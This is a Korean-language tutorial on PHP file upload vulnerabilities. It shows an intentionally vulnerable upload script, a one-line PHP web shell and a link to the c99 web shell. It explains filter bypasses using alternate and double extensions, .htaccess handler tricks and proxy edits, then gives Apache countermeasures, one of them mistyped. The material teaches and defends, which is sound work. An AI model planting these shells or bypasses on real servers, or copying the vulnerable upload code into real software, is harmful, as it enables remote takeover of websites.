# 파일 업로드 취약점 구현
- upload.html
<!DOCTYPE html>
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload">
<input type="submit" value="Upload File" name="submit">
</form>
</body>
</html>
- upload.php
<?php
$uploaddir='./uploads/';
$uploadfile=$uploaddir.basename($_FILES['fileToUpload']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile)) {
echo "Valid File, File uploaded successfully. \n";
} else {
print "Possible file upload attack\n";
}
print "Debugging information:\n";
print_r($_FILES);
print "</pre>";
?>
코드를 풀이하자면, 다음과 같다.
1) basename을 통해 파일 이름만을 추출한다. 즉 변수 uploadfile에는 /uploads/c99.php 입력된다.
2) upload.html 의 form 태그를 이용해서 전송된 파일은 $_FILES를 통해 접근 가능하다. 즉, 서버가 업로드 받은 파일은 $_FILES['upload_file']['tmp_name']에 들어있다.
3) move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile) 구문으로 파일을 저장한다.
move_uploaded_file() 서버로 전송된 파일을 특정 디렉토리에 저장할때 사용하는 함수이며 다음과 같이 사용된다. move_uploaded_file(파일 이름 변수, '저장디렉토리/저장될 파일 이름')
보통 취약점 점검 할때는 웹쉘을 올리는것보다는 기본 php 소스를 올리는것을 추천한다.
(방화벽, 백신 등등의 문제로)
<?php
system( $_GET[cmd]);
?>
** c99 웹쉘 다운로드 - https://raw.githubusercontent.com/tennc/webshell/master/php/PHPshell/c99/c99.php
http://vm-IP/uploads/c99.php 실행결과
# 블랙리스트 필터링 우회
<?php
$uploaddir='./uploads/';
$uploadfile=$uploaddir.basename($_FILES['fileToUpload']['name']);
//블랙리스트 필터링 코드
$file_ext = array('php');
$ext = array_pop(explode('.',$uploadfile));
//확장자 확인
if( in_array($ext, $file_ext)) {
echo 'Upload Error : <br><b>' . $ext . '</b> File extension is not allowed.';
exit;
}
echo '<pre>';
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile)) {
echo "Valid File, File uploaded successfully. \n";
} else {
print "Possible file upload attack\n";
}
print "Debugging information:\n";
print_r($_FILES);
print "</pre>";
?>
코드를 풀어보면 다음과 같다.
1) uploadfile 변수에는 /uploads/c99.php 가 입력된다.
2) explode('.',$uploadfile) 를 통해 . 를 기준으로 파일을 나눈다. /uploads/c99 와 php 로 배열이 분리된다.
3) array_pop 은 배열의 마지막 값이 리턴된다. 즉, /uploads/c99와 php중 php가 리턴되어 ext 에는 php가 입력된다.
4) in_array(a,b)는 배열(b)의 요소중에 a 값이 있는지 확인하여 참과 거짓을 반환한다.
5) 따라서 php 파일을 업로드 하면 업로드가 되지 않는다.
그러나 위와 같은 방법은 php 라는 문자열만 필터링 하기 때문에 대소문자만 바꿔서 업로드 하여도 업로드가 가능하다.
때문에
php 확장자를 변수로 입력하는 과정에서 다음과 같이 소문자로 변환하는 작업이 필요하다.
$ext=strtolower(array_pop(explode('.', $uploadfile)));
1) php 기본 설정 확장자를 통한 우회
php.conf에서는 php 인터프리터의 스크립트 확장자를 설정할 수 있다.
vi /etc/httpd/conf.d/php.conf 를 통해 확인 한 결과 본 환경에서는 php만 지원하는것을 알수 있다.
php 버전별로 초기 설정된 확장자가 다르다.
php 3.x >> .php, .php3, phtm3
php 4.x ~ 5.x >> .php
php 7.x ~ .php, .php3, php4, php5, .php7, .pht, .phtml
php.conf 파일 설정파일에 .php3 을 추가시키고 파일을 실행시키면 다음과 같이 실행되는 것을 알 수 있다. (참고로 확장자 추가는 , 로 추가하면 안되고 .php .php3 .php7 이런식으로 추가해야 모두 적용된다. 그렇지 않으면 마지막으로 입력한 확장자만 적용된다. 그리고 서버 재시작)
mod_mine 모듈의 확장자 처리 규칙을 악용한 우회
mod_mine 모듈은 파일에 하나 이상의 확장자가 지정되어 있을 경우 국가 코드와 인코딩을 제외하고는 메타 데이터에 미디어 타입에 매핑된 확장자가 하나 이상일 경우에는 최우측에 있는 확장자로 인식하게 된다.
따라서 c99.php.kr 파일을 입력하면 아파치에서는 c99.kr.php 로 처리하여 웹쉘 실행이 가능하다. 또한 다중 확장자를 사용할 경우 메타 데이터에 타입이 정의된 우측 확장자를 따르기 때문에 c99.php.cmd 또는 c99.php.316 등 /etc/mime.types 와 httpd.conf php.conf 등에 정의가 없는 확장자를 제외하고 인식한다.
이 문제점은 다중 확장자 처리 규칙으로 인해서 발생한 것이다.
2) htaccess 분산 설정 파일을 통한 우회
이 공격을 위해서는 /etc/httpd/conf/httpd.conf 의 설정이 아래와 같이 되어야 한다.
요즘은 디폴트 설정이 None 이므로 거의 공격이 되지는 않을것이다.
1) 위와 같은 설정 상태에서 c99.cmd 파일을 업로드 한다.
2) .htaccess 라는 파일명으로 AddType application/x-httpd.php .cmd 라고 작성한다. (만약 파일명 오류가 생기면, 파일 업로드 할때 버프로 수정한다.
3) 브라우저에서 c99.cmd 파일을 열면 cmd파일이 php 파일로 인식하여 웹쉘이 실행된다.
# 화이트리스트 필터링
<?php
$uploaddir='./uploads/';
$uploadfile=$uploaddir.basename($_FILES['fileToUpload']['name']);
//화이트리스트 필터링 코드
$file_ext = array('jpg','jpeg','png','gif');
$ext = array_pop(explode('.',$uploadfile));
//확장자 확인
if(!in_array($ext, $file_ext)) {
echo 'Upload Error : <br><b>' . $ext . '</b> File extension is not allowed.<br><br>';
echo 'you cal only upload <b> jpg,jpeg, png, gif</b> files.';
exit;
}
echo '<pre>';
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile)) {
echo "Valid File, File uploaded successfully. \n";
} else {
print "Possible file upload attack\n";
}
print "Debugging information:\n";
print_r($_FILES);
1) Mutiple Extensions 취약점 (확장자 추가 우회)
c99.php.jpg 로 변경하면 업로드가 가능하다. 그리고 실행하면 웹쉘이 실행된다.
왜 웹쉘이 실행되는 것일까. jpg 확장자는 php 인터프리터에 지정된 스크립트 확장자가 아니므로 실행이 되지 않아야 한다.
아파치 매뉴얼에 따르면 다중확장자에 의해 파일명이 c99.php.jpeg 이면 php와 jpeg 모두가 매핑되기 때문에 오른쪽인 jpg 로 인식해야 정상이지만 순서에 무관하게 확장자 중 php 가 있으면 php 인터프리터에 매핑이 가능하다는 의미이다. 매핑 되는 정보는 /etc/httpd/conf.d/php.conf 의 AddHandler 에서 확인 할 수 있다.
다중 확장자 처리 취약점을 대응하기 위해서는 FilesMatch 블록으로 최우측 확장자가 .php 인 경우만 PHP 스크립트로 처리하도록 설정하면 된다.
# 대응 방안
1)
업로드 파일을 저장하는 "upload" 디렉토리에 ".htaccess" 파일(/var/www/html/uploads/.htaccess)을 생성하고, PHP 인터프리터에 설정된 확장자를 모두 등록하여 접속을 차단한다.
<Files ~ "\.(php|php.kr)$">
order allow,deny
order from all
</Files>
2)
위와 같은 방법은 php와 php.kr 확장자 외의 방식으로 우회 할 수 있다.
일반적으로 php 소스코드를 배포하기 않기 때문에 php 어플리케이션이 실행되지 않도록 PHP 핸들러를 제거하는 것이 좋다.
<Files *>
SetHandler default-handler
</Files>
3) 분산 설정 파일 기능(.htaccess)이 비활성화된 환경에서는 httpd.conf 파일에 다음과 같이 등록하면 uploads 디렉토리의 PHP 스크립트는 실행되지 않는다.
/etc/httpd/conf/httpd.conf
<Directory /var/www/html/uploads/>
php_admin_value engine Off
</Directory>
# 파일업로드하고 경로를 유츄하는 방법
1) 에러 구문에 노출된 상세 정보
2) HTML 주석에서 노출된 경로 정보
3) 로봇 배제 표준(robots.txt) 파일에 노출된 정보
User-agent: *
Disallow: /download
4) 네이버 구글 등 검색 엔진에 노출된 정보 활용
5) 디렉토리 무차별 대입 공격
6) 관리자 페이지 권한 탈취 공격
# 연습
1. 파일업로드시 허용된 이미지 파일만 업로드 가능하다. 우회 방법은.
1) 자바스크립트 수정
: 개발자 도구의 source탭을 수정하여 ctrl+s 로 저장하면 된다.
2) 프록시 툴로 소스 수정
: 필터링 부분을 삭제 or 변경한다
2. 업로드까진 하였는데 서버에서 필터링을 하고 있다. 우회 방법은.
1) 확장자 검사 인지 파일 컨텐츠(file type) 검사인지 테스트 한다.
- 텍스트 파일에 확장자만 그림파일로 변경하여 올리기
- 그림파일에 .txt 붙여서 올리기
실습 환경에서는 파일 컨텐츠 검사를 수행하고 있다. 그렇다면 웹쉘.php 파일 .jpg로 변경하여 업로드 하고 프록시로 잡아서 다시 .php로 변경하여 올릴수 있다. (jpg 로 올렸으니 파일 타입은 file-Type: image/jpeg 이므로)
만약 확장자 검사를 수행한다면 php 파일에 확장자만 .jpg로 변경해서 보낼수도 있을것이다.